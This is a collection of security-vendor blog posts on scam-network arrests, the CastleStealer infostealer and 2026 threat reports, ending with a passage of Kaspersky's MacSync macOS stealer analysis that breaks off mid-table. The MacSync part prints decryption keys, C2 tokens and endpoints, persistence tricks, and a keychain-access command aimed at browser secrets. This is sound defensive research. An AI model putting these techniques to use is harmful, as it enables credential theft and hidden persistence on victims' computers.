❌

Reading view

Inside Joint Disruption Week: 28 Arrests and 3.7 Million Scam Accounts Removed

More than 3.7 million fraudulent online accounts removed. Twenty-eight arrests across Ghana and Nigeria. More than $11 million in potentially freezable funds identified. And 117 human trafficking victims identified.

These were among the results of Joint Disruption Week, an international operation targeting criminal networks responsible for online fraud, including cryptocurrency investment scams, impersonation schemes, and financial extortion.

“Transnational criminal scam networks operating from West Africa suffered major disruptions last week during a coordinated international ‘Joint Disruption Week,’ an effort that produced arrests, seizures, and the largest-ever takedown of fraudulent social media accounts linked to scam centers in the region.”

Department of Justice

Hosted by the UK’s National Crime Agency (NCA) in London during the week beginning October 6, 2026, Joint Disruption Week brought together investigators from the DOJ, FBI, U.S. Secret Service, Homeland Security Investigations, and international law enforcement agencies, alongside private-sector organizations including Flashpoint.

Throughout the week, participants exchanged real-time intelligence and developed investigative leads to support enforcement actions in Ghana and Nigeria, as well as the disruption of online accounts and infrastructure used by scam networks.

The operation targeted criminal organizations whose activities extend across borders and online platforms. According to the DOJ, scam centers operating in West Africa share characteristics with those previously identified in Southeast Asia, including organized recruitment, training in social engineering techniques, and coordinated fraud campaigns targeting victims internationally. Some operations also involve human trafficking, with individuals coerced into participating in fraudulent activities.

By bringing together law enforcement and private-sector capabilities, Joint Disruption Week targeted both the infrastructure used to perpetrate fraud and the individuals behind these schemes.

Joint Disruption Week: The Results

The coordinated effort produced results across criminal investigations, financial intelligence, and online infrastructure disruption.

According to the DOJ:

  • 28 suspects were arrested, including 19 in Ghana and nine in Nigeria.
  • More than 3.7 million fraudulent accounts, Pages, and Groups were removed from online platforms.
  • 117 human trafficking victims were identified in Ghana, awaiting repatriation to Nigeria.
  • 89 fraud victims were identified in Ghana, associated with approximately $8.3 million in reported financial losses.
  • More than $11 million in potentially freezable funds were identified through private-sector investigative efforts.
  • More than 30 suspected scam centers were referred to law enforcement for further investigation.
  • 356 electronic devices were seized during enforcement actions in Ghana and Nigeria.

The figures illustrate the reach of these operations. Millions of accounts can support criminal activity across multiple platforms, while the individuals directing those activities may be operating thousands of miles from their intended victims.

Disrupting the Infrastructure Behind Online Fraud

The arrests and account removals represent different aspects of the same challenge: identifying the individuals behind criminal operations while disrupting the infrastructure they use to reach victims.

Online scam networks can operate across social media platforms, messaging services, and financial systems, with evidence of criminal activity spread across multiple organizations and jurisdictions. Investigations often depend on connecting information from these different sources to identify the actors involved and the infrastructure supporting their operations.

During Joint Disruption Week, private-sector partners contributed by removing fraudulent accounts, identifying potentially recoverable funds, and sharing investigative leads with law enforcement.

Flashpoint was among the organizations specifically recognized by the DOJ for participating in the operation, alongside Meta, Microsoft, Google, OpenAI, Coinbase, Binance, Chainalysis, Elliptic, TRM Labs, and others. For threat intelligence teams, operations like this highlight the value of identifying criminal actors, understanding how their operations are structured, and connecting activity across disparate sources to support investigative action.

“These scam networks operate like businesses, investing in infrastructure, recruiting people, and developing increasingly sophisticated ways to defraud victims at scale. To meaningfully disrupt them, we have to go after the economics of their operations, making it more costly and difficult to recruit, reach victims, and move illicit funds. The more pressure we put on those operations, the harder it becomes for the criminals behind them to sustain and expand their activities.”

Josh LefkowitzCEO, Flashpoint

Together, the arrests, account removals, and financial investigations demonstrate how coordinated efforts can target multiple components of criminal operations, from the infrastructure used to perpetrate fraud to the individuals responsible.

Continuing Efforts to Disrupt Scam Networks

Joint Disruption Week marked the first coordinated international operation focused specifically on West African scam networks, according to the DOJ.

The arrests, infrastructure disruptions, and investigative leads generated during the operation represent progress against criminal organizations responsible for large-scale financial fraud and human exploitation.

Flashpoint continues to support efforts to identify and disrupt criminal activity through primary source intelligence that helps investigators understand emerging threats and the networks behind them.

For additional information on the operation and its results, read the full Department of Justice announcement.

See Flashpoint in Action

The post Inside Joint Disruption Week: 28 Arrests and 3.7 Million Scam Accounts Removed appeared first on Flashpoint.

  •  

CastleStealer: An Emerging Infostealer Growing More Sophisticated

First discovered in April 2026, CastleStealer is a C#-based information-stealing malware that has continued to add new capabilities since its emergence. Newer samples analyzed by Flashpoint can bypass app-bound encryption in Chromium-based browsers, execute commands remotely, and exfiltrate stolen information in small encrypted transmissions rather than a single large archive.

While Flashpoint has not yet identified a large influx of threat actors using CastleStealer, its continued development makes it an emerging threat worth watching. 

What We Know About CastleStealer

CastleStealer was first publicly identified in April 2026, when it was observed using ClickFix social engineering to deliver a Python script that executed a loader referred to as “CastleLoader.”

By June, the malware had appeared in a different distribution campaign. Threat actors used malicious advertisements to direct victims to fake Node.js installation websites, where a batch script masquerading as an installer ultimately downloaded and executed a newer loader known as OXLOADER.

Contents of downloaded batch script masquerading as a Node.js installer. (Source: Flashpoint)

OXLOADER employs several techniques designed to make analysis and detection more difficult, including multiple rounds of self-decryption, obfuscated API resolution, sandbox checks, and in-memory execution. Flashpoint analysts assess that the loaders used to deliver CastleStealer appear to be developed in-house and demonstrate significant technical ability around anti-analysis and stealth. 

But the delivery chain is only one part of CastleStealer’s evolution. Newer samples show that the infostealer itself has continued to expand what it can collect and what threat actors can do after a system is compromised.

What Data Does CastleStealer Target?

Once executed, CastleStealer first checks the system’s Multilingual User Interface (MUI) languages for Russian (ru-RU). It then connects to its command-and-control (C2) infrastructure and sends a handshake packet containing its build UUID and basic information about the infected host. After establishing the connection, it gathers additional information about the victim machine and sends it to the C2. 

From there, CastleStealer begins searching for sensitive information across browsers, applications, and files on the victim’s system.

For Chromium-based browsers, CastleStealer collects login data, cookies, browsing history, web data, and information stored by browser extensions. That includes extension IDs, IndexedDB data, and extension storage. 

The malware also targets:

  • Firefox: Login data, cookies, browsing history, and form history.
  • Steam: Files including config.vdf, loginusers.vdf, and local.vdf, which can contain sensitive account information and settings.
  • Discord and Telegram: CastleStealer searches APPDATA for directories associated with both applications.
  • Files on the victim system: The malware broadly collects files while excluding several file types and files containing “backup.” It places particular emphasis on files containing “wallet” in their names.

That browser targeting has also become more capable since CastleStealer was first discovered.

Bypassing App-Bound Encryption

One of the clearest examples of CastleStealer’s evolution is its ability to target data protected by newer browser security controls.

Earlier analysis found that CastleStealer could not steal data from updated browsers using app-bound encryption. Newer samples analyzed by Flashpoint now use Chrome’s IElevator COM interface to bypass that protection, a technique also used by other modern infostealers.

IElevator COM CLSIDs present for various Chromium-based browsers in newer CastleStealer samples. (Source: Flashpoint)

The change closes a meaningful limitation present in earlier CastleStealer samples and expands the browser data available to the malware.

From Infostealer to Remote Access

Newer CastleStealer samples also give threat actors capabilities beyond stealing information from an infected machine.

CastleStealer contains basic remote shell functionality that allows an operator to send a shell command to the victim system, provide a file for execution, or send the URL of another payload that CastleStealer will download and execute. 

CastleStealer remote command capabilities. (Source: Flashpoint)

That capability gives an attacker additional options after the initial compromise. Instead of ending the operation once targeted information has been collected, an operator can interact with the infected system and introduce additional payloads.

How CastleStealer Exfiltrates Stolen Data

CastleStealer also differs from many other infostealers in how it sends stolen information back to its operators.

Rather than collecting stolen data into an archive and transmitting it to a C2 server or Telegram channel, CastleStealer sends smaller amounts of collected data over raw TCP. The transmissions are encrypted using AES.

Flashpoint analysts assess that transmitting data this way may help CastleStealer avoid network detections associated with a single spike caused by a large data transfer. 

The network packets follow a straightforward structure:

{4-byte size} → {AES IV} → {Encrypted Data}

AES-128 CBC decryption of a CastleStealer network packet. (Source: Flashpoint)

Once CastleStealer completes its activity, it deletes itself using a common ping-delay self-deletion technique.

Protect Against Emerging Infostealers Using Flashpoint

CastleStealer’s development since its discovery illustrates how quickly an emerging infostealer can mature. Its operators have changed how the malware reaches victims, while the stealer itself has gained the ability to bypass browser protections, remotely execute commands and additional payloads, and exfiltrate stolen data in smaller encrypted transmissions.

CastleStealer has not yet seen the widespread adoption associated with more established infostealer families. But its trajectory makes it one to watch as its developers continue to improve both its collection capabilities and what operators can do after compromising a victim.

Flashpoint continuously monitors emerging malware, illicit communities, and threat actor infrastructure to identify these shifts as they happen. Request a demo to learn how Flashpoint’s primary source intelligence and analyst research help security teams identify emerging threats and respond before they become widespread.

See Flashpoint in Action

The post CastleStealer: An Emerging Infostealer Growing More Sophisticated appeared first on Flashpoint.

  •  

Cybercrime at Machine Speed: Key Takeaways from Flashpoint’s 2026 Midyear Threat Intelligence Briefing

Blogs

Blog

Cybercrime at Machine Speed: Key Takeaways from Flashpoint’s 2026 Midyear Threat Intelligence Briefing

Threat actors are no longer just using automation to execute tasks, they are leveraging prepackaged, safeguard-free AI, weaponizing stolen session data, and directly targeting defenders’ security stacks.

SHARE THIS:
Default Author Image
September 1, 2026

In our latest webinar, Flashpoint Vice President of Intelligence, Ian Gray, briefed security leaders on the evolving threat environment, providing critical insights from the Flashpoint Global Threat Intelligence Report (GTIR): 2026 Midyear Edition.

The threat landscape has developed at a striking pace with Flashpoint tracking over 22 million illicit AI discussions, 7.4 million compromised hosts yielding 1.7 billion stolen credentials, and over 21,600 disclosed vulnerabilities in just six months. Beyond these staggering numbers, the on-demand session detailed something even more alarming: a fundamental shift in adversary operational tradecraft.

Here are the five critical shifts every cyber threat intelligence (CTI), Vulnerability Management, and SOC team needs to know.

The Death of Signal: Threat Actors are Shifting to “Private AI”

The public discussion surrounding criminal artificial intelligence (AI) has reached a critical inflection point. Early in the AI boom, Flashpoint observed threat actors collaboratively experiment across underground forums, jailbreaking commercial frontier models or advertising surface-level tools like WormGPT and DarkGPT.

Today, adversaries are shifting from public forums to running fine-tuned, open-source models locally on private servers, which greatly hampers traditional signature-based detection. Flashpoint analysts are now seeing attackers generate unique, highly tailored malware variants, flawless phishing lures, and custom exploit scripts at extremely low costs—completely offline and shielded from public monitoring.

“A few months ago, a lot of this was collaborative… public outsourcing. Now what we’re seeing is scarier: pre-packaged cybercrime models run locally on private infrastructure. Malicious code, exploit scripts, and targeted phishing are all being generated inside closed environments.”

Ian Gray, VP of Intelligence, Flashpoint

Weaponizing the Defender’s Own Tooling

Another eye-opening tactical insight shared during the session was how threat actors are repurposing defender infrastructure for automated initial access and extortion. In the webinar, we pointed to recent campaigns where adversaries specifically targeted misconfigurations and zero-day vulnerabilities inside open-source vulnerability scanners, secrets-detection tools, Kubernetes clusters, and Infrastructure-as-Code(IaC) environments.

What this means for defenders is that the attack surface is no longer bounded by traditional enterprise network boundaries: it extends directly into CI/CD pipelines, security orchestration tooling, and third-party SaaS integrations. Security teams are finding themselves in a race against attackers who use automated scanning scripts to weaponize vulnerabilities in the security tools themselves.

The Global Infostealer Threat and Identity-First Attacks

Flashpoint tracked 7.4 million hosts compromised by infostealers in H1 2026—a 27% increase period-over-period—harvesting 1.7 billion credentials and identity information.

While the top infostealer strains remain familiar, law enforcement operations have created vacuums that competitors rapidly fill.

map visualization

Threat actors are leveraging drive-by downloads, watering holes, and pirated software packages to plant stealers. Once a machine is compromised, the logs capture corporate SSO credentials, active browser cookies, VPN keys, and SaaS session tokens. This enables adversaries to simply log in without having to leverage complex technical exploits.

The Structural Failure of CVE/NVD and the Importance of KEV

The Common Vulnerabilities and Exposures (CVE) and National Vulnerability Database (NVD) have failed to keep pace with the velocity of AI-assisted vulnerability discovery. As such, vulnerability management teams are facing significant operational delays.

MetricFlashpoint GTIR Midyear H1 2026 DataOperational Impact
Total Disclosures21,667Remediation volume exceeds defender bandwidth.
Exploit Availability19% (4,015 CVEs)Functional code is ready before patches are deployed.
Public Catalog LagGrowing Backlog (NVD/KEV)Delay in official scoring leaves teams blind to active risk.

Therefore, waiting for NVD enrichment before prioritizing a patch is a dangerous strategy. To compensate, security teams require Vulnerability Intelligence (VI) that provides primary-source confirmation of weaponization, exploit availability, and actionable mitigation guidance long before public databases update.

Ransomware Evolution: From Encryption to Cloud Extortion

Ransomware-as-a-Service (RaaS) activity surged by 45% period-over-period, reaching 6,256 verified victim postings on data leak sites. However, total on-chain payout revenue dropped by 8% to $820 million, with victim pay-rates hitting a record low of 28%.

Faced with declining payouts and resilient enterprise backups, extortion syndicates are adapting. Rather than relying exclusively on technical file-encrypting malware, groups are executing pure data extortion campaigns—frequently targeting cloud platforms or extracting data through third-party vendor access.

Protect Your Organization Using Flashpoint

Defending against machine-speed attacks requires moving beyond reactive, post-incident telemetry. Flashpoint arms security, CTI, and vulnerability management teams with the primary-source intelligence required to preempt adversary operations:

  • Unrivaled Deep & Dark Web Visibility: Flashpoint’s Primary Source Collection actively monitors closed criminal communities, illicit Telegram channels, and private forums, giving you early warning when threat actors build custom AI toolkits or trade credentials targeting your organization.
  • Comprehensive Vulnerability Intelligence (VI): Flashpoint tracks zero-days and vulnerability disclosures independently, delivering immediate exploit availability data and threat-informed prioritization so you patch what actually matters.
  • Continuous Compromised Credential Monitoring: Instantly surface exposed enterprise credentials, active session tokens, and stealer logs tied to your domain or third-party supply chain before they lead to an account takeover (ATO).

Request a demo, or watch the full on-demand webinar to explore the data shaping today’s risk landscape.

See Flashpoint in Action

The post Cybercrime at Machine Speed: Key Takeaways from Flashpoint’s 2026 Midyear Threat Intelligence Briefing appeared first on Flashpoint.

  •  

Navigating AI-Driven Cyber Threats: Insights from Flashpoint’s 2026 GTIR Midyear Edition

Blogs

Blog

Navigating AI-Driven Cyber Threats: Insights from Flashpoint’s 2026 GTIR Midyear Edition

In this post, we preview the critical findings of Flashpoint’s Global Threat Intelligence Report: 2026 Midyear Edition.

SHARE THIS:
Default Author Image
August 13, 2026

In the first half of 2026, the global threat landscape reached a clear operational inflection point: threat operations have fundamentally transitioned from human-led campaigns to machine-speed, AI-driven exploitation. As threat actors gain commoditized access to open-source AI technologies and actively deploy automated, safeguard-free tooling locally on private infrastructure, organizations face an accelerating hybrid risk environment.

Flashpoint’s Global Threat Intelligence Report: 2026 Midyear Edition

The Flashpoint Global Threat Intelligence Report: 2026 Midyear Edition anchors security leaders—from threat intelligence, vulnerability management, to executive leadership—in the data required to navigate this evolving threat landscape. Covering the period from January 1 to June 30, 2026, the report delivers timely insights backed by Flashpoint’s proprietary primary-source collection from over 3.9 petabytes of continuously monitored illicit sources.

Our midyear findings reveal several key metrics that highlight the speed and scale of the H1 2026 threat landscape:

  • 22M+ threat actor posts discussed, shared, or advertised artificial intelligence toolkits for criminal deployment.
  • 1.7B credentials and identity data points extracted across more than 7.4M unique compromised hosts globally.
  • Nearly one-in-five (19%) of all vulnerability disclosures dropped with ready-made, functional exploit code.
  • 45% period-over-period surge in Ransomware-as-a-Service (RaaS), with total victim volume reaching 6,256 even as victim payout rates dropped to a historic low of 28%.

Download the Flashpoint Global Threat Intelligence Report: 2026 Midyear Edition to gain:

  1. A Clear Understanding of the Convergence Between AI and Cyber Threats
    From generating flawless phishing campaigns to automating vulnerability scanning and code obfuscation, discover how adversaries are optimizing for speed and cost-efficiency — utilizing AI as a force multiplier in their various illicit campaigns.
  2. A Comprehensive Top-Down View of the Evolving Threat Landscape
    Gain full visibility of the threat landscape with Flashpoint’s primary-source collections and real-time threat intelligence.
  3. Strategies for Proactive Defense and Risk Mitigation
    Move your organization beyond reactive incident response by leveraging Flashpoint’s comprehensive threat intelligence. Gain the foresight needed to strengthen defenses and optimize your security posture.

“AI is compressing the time between opportunity and exploitation. Capabilities that once took significant expertise, coordination, and time to develop are becoming faster to build, easier to scale, and harder to detect. Security teams are facing an adversary ecosystem that can use AI to iterate at unprecedented speed — the only way to keep pace is with primary-source intelligence that surfaces adversary behavior before attacks unfold.”

Josh Lefkowitz, Flashpoint Co-Founder & CEO

The Four Driving Themes Shaping the 2026 Threat Landscape

Artificial Intelligence (AI) Threats

During the first half of 2026, Flashpoint captured over 22M illicit posts discussing or advertising AI for criminal-related activities. By stripping ethical safeguards, custom malicious LLMs allow unsophisticated threat actors to automate complex phases of the attack lifecycle, including target profiling, malware evasion script creation, and zero-day exploit generation.

chart visualization

Information-Stealing Malware Threats

Infostealer malware harvested 1.7 billion credentials across 7.4 million compromised systems in H1 2026 alone, turning digital identity into the main entry point for enterprise intrusions.

chart visualization

Vulnerability Intelligence and Patching Management

19% (4,015) of all H1 2026 vulnerability disclosures arrived with ready-made exploit code. Adversaries deploy automated replication scripts almost immediately upon disclosure, eliminating manual remediation windows.

interactive diagram visualization

Ransomware Operations, Multi-Extortion Cartels, and Financial Risk

Despite a 45% surge in victim volume (6,256 overall), total on-chain revenue fell by 8% to $820M. Improved enterprise backups and incident response have driven payout rates down to 28%, prompting syndicates to demand larger sums from paying victims.

chart visualization

Proactive Security in 2026 and Beyond

The data shows that traditional enterprise security organizations are struggling to keep pace with modern threat cycles that are accelerated by illicit uses of AI. This continued convergence of AI engines and initial access vectors have further compressed attack timelines, making it nearly impossible for security teams to defend against them—especially if they are limited by traditional approaches to threat intelligence.

Equipping your team with primary-source threat intelligence is critical for protecting critical assets in 2026. Download the Flashpoint Global Threat Intelligence Report: 2026 Midyear Edition to gain the visibility and strategic clarity required to defend your organization.

See Flashpoint in Action

The post Navigating AI-Driven Cyber Threats: Insights from Flashpoint’s 2026 GTIR Midyear Edition appeared first on Flashpoint.

  •  

MacSync under the microscope: new delivery methods and a new payload

MacSync is a relatively young, rapidly evolving family of crypto/info stealers. First advertised on the dark web in 2025 as Mac.c, the stealer was later renamed to MacSync by its creators. The initial versions were implemented as AppleScripts and closely resembled the AMOS stealer family, but over time, MacSync developed distinctive features of its own, including a backdoor module. In this report, we discuss a new infection chain that differs significantly from previous variants. We first spotted it in the wild in September 2026.

Key points:

  • The developers of this family have overhauled their approach to payload delivery by replacing script-based droppers with binary ones.
  • The main malicious payload now consists of modules written in Objective-C and Swift.
  • At one stage of infection, the attackers use iCloud to deliver the next

Kaspersky solutions detect the threats described below under the following verdicts:

  • HEUR:Trojan.OSX.MacSync.*
  • HEUR:Trojan-PSW.OSX.MacSync.*
  • HEUR:Trojan-Dropper.OSX.MacSync.*
  • HEUR:Trojan-Downloader.OSX.MacSync.*

Technical details

Infection chain

MacSync is an infostealer distributed under the malware-as-a-service (MaaS) model, so the specific delivery method for the first stage of the infection chain is up to the operators. Recent public reports on MacSync have mostly focused on modules delivered through social engineering and ClickFix-style attacks. However, both then and now, the malware has also spread disguised as free or cracked versions of popular applications, as well as under the guise of new software. For example, we found MacSync masquerading as a nonexistent crypto wallet app called Toria; the attackers not only created a dedicated web page for it but also promoted it on X and Telegram:

The latest version of the infostealer we discovered starts the infection chain with malicious DMG images. Even within a single campaign built around one fake application, we found two different ways the infostealer and backdoor modules were delivered to the victim’s device. In one, the payload inside the DMG was a compiled JXA script that, once launched, decoded a shell script and passed it directly to the interpreter without writing it to disk. In the other version of the application, the same script appeared at a later stage of infection, after a chain of droppers and loaders had run. We’ll take a look at the second infection chain in detail, since it is more complex and technically interesting. The infection scheme is shown below:

It’s worth noting right away that MacSync shows shared traits at almost every stage:

  • All temporary files are placed in the /tmp directory. The same directory is where *.lock files are created to prevent the malware from running again.
  • Once its task is complete, the module removes traces of its activity: temporary files, its own logs, and so on.
  • All binary files are in the FAT Mach-O format and target devices with both Apple and Intel processors.

Loader, Calendar, and Two Simple Droppers

In this infection chain, the payload on the disk image is an .APP application. When started, it first checks whether the whole bundle has the com.apple.quarantine extended quarantine attribute, and if it finds one, it runs the xattr -cr <app_name> command to remove all attributes. Next, it extracts an XOR-encrypted URL from its overlay and decrypts it with the key 73 6f 6e 6f 6d 61 62 6c 64 07. After the encrypted data, there are 8 bytes indicating the length of the ciphertext, followed by the magic word SONOMAC1. It’s worth noting that the malware reads the overlay backwards: it first locates the magic word, then reads the data size, and then uses the size to determine the boundaries of the data block containing the ciphertext.

The resulting URL is a link to the next-stage downloader script. In some cases, this link pointed directly to a file hosted on an attacker-controlled server; however, in at least one sample, the link pointed to a public iCloud calendar:

hxxp://caldav.icloud[.]com/published/2/MTk1NDMwMDMzNTUxOTU0M1aHCZ-nMxiyGzBTzPiodOf44DtKJ6PpjftAG28_ui2NCYMpL_vu4pF4ddsJ8ysg0QI7pR0VEIEbZYdilVZRw08

Contents of the downloaded calendar

Contents of the downloaded calendar

After retrieving the calendar file from the server, the downloader creates an anonymous pipe, launches the interpreter to read commands from standard input (zsh -s), sets the pipe as standard input, and redirects the contents of the calendar into it line by line. Since a calendar is normally not a command, the interpreter treats the lines as invalid commands until it reaches the malicious payload after the DESCRIPTION: line. These commands ultimately download a .TAR.GZ archive from iCloud that contains an .APP bundle. The downloader removes the quarantine attribute from it, signs it with an ad-hoc signature, and executes it.

We don’t know the contents of the scripts distributed from the attacker’s server, but they are very likely the same script found in the calendar event description.

The downloaded application is a dropper. The malicious payload it extracts is a zlib-compressed executable encrypted with AES in CBC mode, using the following key and initialization vector:

cb09ff86cabde4f8cee2d3cdec370c623bfa6c2b72ae9750fc9a7b299c65d7ca
3a1af2b397c6958e6c3ba3c75912d60e

The dropper decrypts and unpacks it, then places it at /tmp/.sys-<16-digit random value>.

Inside is another dropper, but unlike the previous stages, this one includes anti-debugging protection. In particular, it checks whether it’s running on a virtual machine by making sysctl queries with the kern.hv_vmm_present and machdep.cpu.brand_string parameters. It also sets the PT_DENY_ATTACH flag with ptrace to prevent a debugger from attaching to the process. The payload is a shell script encrypted with AES in CBC mode, using the following key and initialization vector:

3744f975113dfc552df982dcae699f9154a448e05a743bdfb641a463352bc13a
8d371f8a7a6dcc2655544ae13cbca03d

Payload of the second dropper

Payload of the second dropper

As shown in the screenshot above, the second dropper delivers a downloader script that retrieves the next-stage payload from the command-and-control server, decrypts it with AES in CBC mode using the following key and initialization vector, and then executes it in memory:

ff664112d3215c5d184689fc836e0dc6c1a47e42c34e70b2c3d356864bc4cb4c
09425f72de8bba18893dcd6f04115891

A couple more scripts

Inside the retrieved script, we can immediately spot several familiar indicators associated with the MacSync malware family:

  • The main function in the script is named daemon_function.
  • The stolen data is uploaded to the command-and-control server via PUT requests. The data in the requests is sent in 90-megabyte chunks. In earlier versions, the chunk sizes differed.
  • One way to establish persistence on a system it uses is to inject a malicious command into the .ZSHRC, the configuration file for the ZSH interpreter, which contains commands that run each time the interpreter starts.
  • The URL path where the backdoor executable is stored on the command-and-control server begins with the /loader/ directory.

The script performs the following tasks:

  • Downloading and decrypting additional malicious modules: an infostealer, a backdoor, and a special utility for generating encryption keys and decrypting downloaded executable files
  • Gaining persistence on the system
  • Uploading data received from the infostealer module to the command-and-control server

One detail stands out: instead of the usual encryption algorithms (XOR, AES, and so on), the attackers took a different approach to delivering malicious modules at this stage. It involves a selfmade utility called pkgunpack that implements two commands: genkey and decrypt. The malicious payload is decrypted as follows:

  1. The malware generates a public and private encryption key pair using genkey command from pkgunpack, whose generation function relies on an open implementation of the elliptic-curve Diffie-Hellman protocol on Curve25519: curve25519_donna.
  2. The public key is encoded in base64 and sent to the command-and-control server together with a one-time code generated by the command $(date +%s)-${RANDOM}-$$.
  3. The server responds with the following JSON:
    {
        "ok": true,
        "dek_wrap_b64":  <base64_encoded_encrypted_key> ,
        "build_pub_b64": "pFSxn/Uwg9bS45aVKCzA+8exSMfDHXpbpHC/f7G472w=",
        "crypto": "v2.5"
    }

    Here, build_pub_b64 is the server’s public key, which is also predefined in the script itself, and dek_wrap_b64 is a base64-encoded string that contains the payload encryption key. This key is encrypted on the server side with a shared secret computed from the public key generated with pkgunpack on the victim’s device.
  4. Then decrypt command from pkgunpack utility decrypts the key:
    1. A shared secret is computed from the server’s known public key and the private key for the current session, using the same ECDH Curve25519 key exchange scheme that was used to generate the keys.
    2. The resulting shared secret is concatenated with the string sn-dek-wrap-v1, and a SHA-256 hash is computed from the result.
    3. Next, the dek_wrap_b64 block received from the server is decoded. It has the following structure:
      1. The first 5 bytes: additional authenticated data (AAD)
      2. The next 12 bytes: the initialization vector (IV)
      3. The rest: the ciphertext
    4. The ciphertext is decrypted with AES in GCM mode using the previously obtained key, IV, and AAD.

      Decoded dek_wrap_b64

      Decoded dek_wrap_b64

  5. The result is the key for decrypting the downloaded malicious payload. The payload, in turn, also contains an AAD and an IV in its header and is encrypted with AES GCM. The utility decrypts it and terminates.

Note that at each individual stage, the utility zeros out buffers after using encryption keys and data, apparently to impede forensic data collection and dynamic analysis of samples.

As mentioned earlier, at this stage, the script downloads only two modules: an infostealer and a backdoor. Once decrypted, both are .TAR.GZ archives; their contents are extracted, stripped of all extended attributes (such as com.apple.quarantine), and signed with an ad-hoc signature. The infostealer module runs first: it collects the data it needs, places it in a temporary folder, and compresses it into a .TAR.GZ archive, which the script then sends to the attackers’ server. Next, before launching the backdoor, the script sets up persistence for it and creates a backup copy. The backup copy, along with the other files it needs to operate, is placed in $HOME/Library/Application Support/System. This directory doesn’t exist in macOS by default; the script creates it. The backdoor disguises itself as the Finder application and achieves persistence in the system through the following methods:

  • A LaunchAgent named com.apple.finder.agent
  • Injection of a command that runs the .repair-run script when the ZSH interpreter starts from the .ZSHRC
  • Injection of a similar command, which also runs the .repair-run script, into the global GIT pre-commit and post-checkout hooks

The .repair-run script checks whether the backdoor files exist, restores them from a backup if they are missing, and re-creates and reloads the LaunchAgent. At the same time, it kills the BTMNotificationAgent, NotificationCenter, and BackgroundTaskManagementAgent system processes to prevent the system from notifying the user about the new LaunchAgent.

One last thing worth noting about the script at this stage is its use of a custom HTTP header, X-Upload-Token, without which the C2 server responds to requests with errors. During our research, we observed the use of the following tokens: b8b4b88205a8f594b95a841bc37342898f34cad8a5a9e4a22ce69a31a1208650 and ff3ab9ef841630364818396f62e696b72aed162cf0b895b6643ef25dad79b51d. The backdoor later uses these same tokens to communicate with the C2 server.

Infostealer

The infostealer module ships as an .APP application, with its main executable written in Swift. As with previous AppleScript-based versions, the malware first asks the user for the administrator password. It adapts the window it displays to match the application it is impersonating. After the password is entered, the user sees a window that imitates a system notification about a corrupted application, offering to move it to the trash.

Fake stealer pop-up windows

Fake stealer pop-up windows

Interestingly, instead of the method most macOS malware families use to verify a password, the dscl utility, the attackers used the Pluggable Authentication Modules (PAM) API. This is a fairly new technique for macOS malware, first observed in the wild in July 2026 in the Pam Stealer family. It apparently caught the attention of malware authors, and we may see it used more often going forward.

Password verification with PAM

Password verification with PAM

Many strings in the stealer (file names, directory names, team IDs, and so on) are XOR-encrypted and stored in static arrays. The encryption keys differ between samples and are generated based on the ciphertext length.

String decryption

String decryption

The set of data the stealer collects has expanded slightly compared to previous versions. The generalized list is as follows:

  • Browser data: browsing history, cookies, crypto wallet extension data, saved logins and passwords, and Local State files
  • Crypto wallet application data
  • Telegram data
  • Device login and password
  • Keychain file
  • System information: list of installed applications and running processes, device model, hardware, UUID, and so on
  • Configuration files for SSH, ZSH, AWS, Kubernetes, GIT, and other services/programs
  • ZSH and Bash command history
  • Current user profile picture

The collected data is saved to a hidden directory in /tmp/.

The stealer module also has one interesting feature, disabled in all samples discovered so far and apparently still in development. Its purpose is to check whether the malicious application’s resources contain a file called KcHelper at <app_path>/Contents/Resources/Helpers, and, if the file is present, launch it with certain parameters. If this file is missing, a fallback function, _kc_grab_storage_item, is executed instead. Since KcHelper was not present among the application’s resources at the time of our research, we can only speculate about its purpose based on our analysis of this function. It first runs a command that modifies the partition_id of the keychain entry for a specific service so that three categories of applications can access it without user confirmation and without the keychain password:

  • teamid: the application is signed with a certificate that has a specific teamID (in this case, the target application’s developer)
  • apple: the application is an Apple service
  • apple-tool: the application is an Apple command-line utility

security set-generic-password-partition-list -a <account_name> -s <service_name> -S <application_groups> -k <keychain_password> <keychain_path>

The stealer then uses the Security.framework API to try and retrieve the secret’s contents on its own, which still ends up triggering a confirmation request for the operation. It appears the threat actors plan to refine this feature in the future to gain unimpeded access to secrets even if the keychain password changes, but at this point, they haven’t managed to do so, which is why the feature is disabled. In the stealer’s encrypted strings, we saw examples of arguments for the command that modifies partition_id, which indicate that the attackers are after browser secrets. Example:

Chrome Safe Storage|Chrome|ChromeStorage|apple-tool:,apple:,teamid:EQHXZ8M8AV
Brave Safe Storage|Brave|BraveStorage|apple-tool:,apple:,teamid:KL8N8XSYF4

Code section responsible for changing access to keychain services

Code section responsible for changing access to keychain services

Backdoor

The backdoor is a Fat Mach-O executable written in Objective-C. It has two launch modes: a regular one and one with the --persist-status flag. In the second mode, it only checks how it was added to the persistence objects: as a Login Item or as a LaunchAgent. In standard mode, before proceeding to its main functionality, the backdoor also checks whether it has been added to autorun in any way. If not, it uses the same persistence mechanism as the parent script. However, for macOS versions older than 13.0, a separate helper executable stored inside the backdoor’s body is used regardless of whether autorun objects are present. The helper performs a single task: it uses the CoreServices.framework API to add the executable file passed to it as an argument to the Login Items.

As with the droppers from the early stages of the infection chain, the configuration for communicating with the C2 is stored in the executable’s overlay and encrypted with XOR using the same key. It consists of several strings separated by null bytes:

  • AGNT1: a magic constant confirming that the configuration was decrypted correctly
  • C2 server URL
  • Access token: the same one used in the parent script
  • BLD-150: the backdoor build number

The malware also writes logs to $HOME/Library/Logs/.sysnotif-agent.log and supports extended logging when launched with the LAUNCHER_DEBUG environment variable. Communication with the C2 takes place over HTTP. The server’s response should be a JSON file.

Method URL path Request parameters Description
GET /v1/agent/ping
  • tag: the victim’s unique ID combined with the backdoor build number
  • build: backdoor build number
Used to receive a command. The response is expected to contain a cmd field with the command to execute. If a 403 error is received, meaning the access token has expired, the backdoor tries to refresh it with a request to /v1/agent/refresh.
POST /v1/agent/refresh
  • tag
  • build
  • old_token: previous token
The response is expected to contain an upload_token field, whose value becomes the new token.
POST /v1/asset/<upload_id>/init
  • upload_id: an identifier for the object being uploaded, generated randomly based on a timestamp, the process ID, and a random four-byte number
Used to create a file on the server, into which the file from the victim’s device is later uploaded in parts. When the file is created, its size is passed in the X-File-Size header, and its SHA-256 hash is passed in X-File-Sha256.
PUT /v1/asset/<upload_id> The request that actually uploads the file to the server.
POST /v1/agent/<command_status>
  • command_status: a status unique to the commands the agent executes
  • tag
  • upload_id: the ID of the file uploaded to the server (if any)
  • phase: information about the command being executed or its stage
  • message: a message
  • active: command in-progress flag (true = still running; false = finished)
This URL endpoint is accessed at various stages of the backdoor’s operation. Information about command execution status serves as a telemetry source for the attackers.

